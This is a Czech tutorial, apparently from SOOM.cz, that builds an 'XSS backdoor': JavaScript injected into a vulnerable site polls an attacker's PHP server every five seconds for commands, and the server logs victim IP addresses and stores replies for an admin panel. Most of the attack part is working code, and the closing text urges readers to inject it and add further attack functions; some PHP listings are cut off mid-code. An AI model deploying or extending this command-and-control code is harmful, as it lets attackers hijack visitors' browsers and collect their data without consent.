V uvedených článcích jsme si již řekli, že aplikace typu XSS backdoor je postavena na bázi klient-server. Klienta přitom představuje kód JavaScriptu spuštěný ve webovém prohlížeči, který v pravidelných intervalech odesílá na webový server útočníka HTTP požadavky. Pomocí proměnných v jednotlivých requestech může předávat data na stranu serveru a z odpovědí vrácených na zaslané požadavky může získávat příkazy připravené útočníkem.
Samotné odesílání požadavků na straně klienta je nejjednodušší zařídit využitím funkce setInterval(), která se postará o provedení akce v pravidelných intervalech a objektu XMLHttpRequest (respektive XdomainRequest), který zařídí skryté odesílání požadavků na pozadí napadené webové aplikace. Samotný kód klienta, který disponuje útočnými funkcemi omezenými pouze na alert a prompt, je opravdu velice jednoduchý. Prohlédnout si jej můžete v následujícím výpisu.
function pozdrav() {alert("Ahoj uživateli")}
function dotaz() {odpoved = prompt("Jak se jmenuješ?")}
function sendXMLHttpRequest(answ) {
answ = answ?"&odpoved="+answ:"";
xhr = window.XDomainRequest?new XDomainRequest():new XMLHttpRequest();
if (xhr) {
xhr.open("GET", "http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyserver.php?idclient=" + answ, true);
xhr.onload = zpracujOdpoved;
xhr.send(null);
odpoved="";
}
}
function zpracujOdpoved() {
var prikaz = xhr.responseText;
if (prikaz == "pozdrav") pozdrav();
if (prikaz == "dotaz") dotaz();
}
var odpoved = "";
setInterval("sendXMLHttpRequest(odpoved)", 5000);
Stejně jednoduchý je také kód serverové části XSS backdooru. Tu je možné založit na použití databáze, nebo souborů. Já zvolil použití souborů, přičemž každému z klientů jsou přiřazeny soubory s příponou .dat (slouží jako zdroj informací o čase posledního přístupu klienta a o jeho IP adrese), .out (obsahuje příkazy zadané útočníkem) a .in (obsahuje odpovědi klienta). Vzhledem k tomu, že jsou při použití XSS backdooru jednotlivé požadavky zasílány napříč doménami, je důležité použití HTTP hlavičky Access-Control-Allow-Origin: povolující komunikaci s jinou doménou.
\n", FILE_APPEND);
if (getenv('HTTP_X_FORWARDED_FOR'))
$ipel = htmlspecialchars(trim(getenv('REMOTE_ADDR').'/'.getenv('HTTP_X_FORWARDED_FOR')));
else
$ipel = htmlspecialchars(trim(getenv('REMOTE_ADDR')));
file_put_contents("clients/$idclient.dat", $ipel);
if (file_exists("clients/$idclient.out") && trim(file_get_contents("clients/$idclient.out")) != '') {
readfile("clients/$idclient.out");
}
file_put_contents("clients/$idclient.out", "");
?>
Ačkoliv již máme vytvořeny obě části XSS backdooru (klienta i server), stále nám ještě něco chybí. Tou chybějící částí skládanky je administrační rozhraní, pomocí kterého může útočník zadávat příkazy jednotlivým klientům a číst jejich odpovědi. Kód této části aplikace zobrazuje následující výpis.
XSS backdoor admin

XSS backdoor admin
= 500) unlink($filename);
}
foreach (glob("clients/*.dat") as $filename) {
$ipAddress = file_get_contents($filename);
$idClientFile = substr($filename, 8, strlen($filename)-12);
if ((time() - filectime($filename)) >= 15) {
unlink($filename);
if (file_exists("clients/".$idClientFile.".out")) unlink ("clients/".$idClientFile.".out");
if (file_exists("clients/".$idClientFile.".in")) unlink ("clients/".$idClientFile.".in");
}
echo "$ipAddress
";
echo "".StrFTime("%d.%m.%Y %H:%M", filectime($filename))."
";
if (file_exists("clients/".$idClientFile.".out")) {
readfile("clients/".$idClientFile.".out");
}
echo "
";
}
?>
Testovací klient
V praxi si celý XSS backdoor můžete vyzkoušet na webové adrese http://www.soom.cz/projects/XSSbackdoorDemo/xssproxyadmin.php, kde najdete administrační rozhraní tohoto nástroje. Pro injektáž klientské části je nutné do zranitelné aplikace propašovat tento kód:
Pokud se vám myšlenka vytvoření vlastního XSS backdooru líbí, můžete jej snadno rozšířit o další útočné funkce. Inspirovat se můžete například v sérii článků Útočný JavaScript, který naleznete rovněž zde na SOOM.cz.
Plánujeme také zprovoznění plnohodnotného XSS backdooru v podobě on-line projektu zde na SOOMu. Tohoto úkolu se ujal Fil-kun a myslím si proto, že se máme na co těšit.